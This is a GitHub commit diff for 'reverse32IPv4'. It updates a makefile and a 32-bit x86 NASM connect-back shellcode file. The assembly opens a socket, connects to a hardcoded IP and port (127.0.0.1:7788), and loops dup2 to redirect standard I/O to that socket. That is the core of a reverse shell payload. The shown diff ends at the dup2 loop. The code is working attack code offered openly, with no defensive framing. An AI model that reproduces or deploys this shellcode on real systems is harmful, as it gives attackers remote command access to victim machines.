Skip to content

Commit 23ffc79

Browse files
evanpjensenevanpjensen
committed
kai points out all the bugs
1 parent 7af9bad commit 23ffc79

2 files changed

Lines changed: 38 additions & 28 deletions

File tree

‎reverse32IPv4/makefile‎

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,16 @@ RUNTIMEDIR = ../include/runtime/
55
INCLUDEDIR = ../include/
66
INCLUDE = -I $(INCLUDEDIR) -I $(RUNTIMEDIR)
77

8-
shellcode = r32.s
9-
NFLAGS = elf
8+
shellcode = r32.s
9+
NFLAGS = -f elf
10+
SFLAGS = -D INT80
11+
1012
CFLAGS = -m32
1113

1214
all: assemble link
1315
assemble:
14-
nasm -f $(NFLAGS) $(shellcode) $(INCLUDE) -o linkme.o
15-
nasm $(shellcode) $(INCLUDE) -o shellcode
16+
nasm $(NFLAGS) $(shellcode) $(INCLUDE) $(SFLAGS) -o linkme.o
17+
nasm $(shellcode) $(INCLUDE) $(SFLAGS) -o shellcode
1618
link:
1719
gcc linkme.o -o testShellcode $(CFLAGS)
1820

‎reverse32IPv4/r32.s‎

Lines changed: 32 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,18 @@
1-
;; Evan Jensen (wont) 021813
1+
;; Evan Jensen (wont) 021813
22
;; Connect back shellcode
33
;; Handy One liner for IP
44
;; ''.join(['%02x'%int(x)for x in'1.1.1.1'.split('.')][::-1])
55
;; port is littleEndian
66
%include "short32.s"
7+
%include "syscall.s"
8+
%include "util.s"
9+
10+
%define IP dword ip(127,0,0,1)
11+
%define PORT word htons(7788)
12+
%define AF_INET 2
13+
%define SOCK_STREAM 1
14+
%define ANY_PROTO 0
715
8-
%define IP dword 0x0100007f ;IP 127.0.0.1 Little Endian
9-
%define PORT word 0x6c1e ;port 7788 Little Endian
1016
;; Socketcall is the systemcall we use to manipulate sockets
1117
;; It's linux specific. Use man socketcall.
1218
;; first argument is an integer and second is an arg struct ptr
@@ -16,37 +22,39 @@ main:
1622
xor eax,eax
1723
mov ebx,eax
1824
push eax
19-
push byte 1
20-
push byte 2
21-
inc ebx
22-
mov al,socketcall
25+
push byte SOCK_STREAM
26+
push byte AF_INET
27+
inc ebx
2328
mov ecx,esp
24-
int 0x80 ;
25-
26-
mov esi,eax
27-
xor eax,eax
28-
mov al,socketcall
29+
mov al,socketcall
30+
SYSTEM_CALL ;socket() ebx=1
31+
32+
;eax has socket
2933
inc ebx
30-
IPandPort:
34+
35+
IPandPort:
3136
push IP
3237
push PORT
3338
push bx ;bx=2 AF_INET
3439
mov ecx,esp
35-
push byte 16
40+
push byte 0x10 ;size of sockaddr
3641
push ecx
37-
push esi
42+
push eax ;socket fd
3843
inc ebx ;ebx=3 connect()
3944
mov ecx,esp
40-
int 0x80
41-
42-
mov edi,eax ;connect fd
43-
xor ecx,ecx
44-
mov eax,ecx
45-
mov edx,ecx
46-
mov cl,2
45+
SYSTEM_CALL(socketcall)
46+
;;; connect reurns zero on success
47+
48+
;; mov edi,eax ;connect fd
49+
pop ebx ;the top of the stack has our socket
50+
push byte 2
51+
pop ecx ;loop counter and fd arg for dup2
4752
copy:
48-
mov al,dup2 ;dup2 63
49-
int 0x80
53+
mov al,dup2
54+
SYSTEM_CALL ;dup2(ebx,ecx)
55+
;;; the system_call macro that takes an argument also zero's it out
56+
;;; using extra bytes. We can save some space by assuming that
57+
;;; dup2 won't error.
5058
dec ecx
5159
jns copy
5260

0 commit comments

Comments
 (0)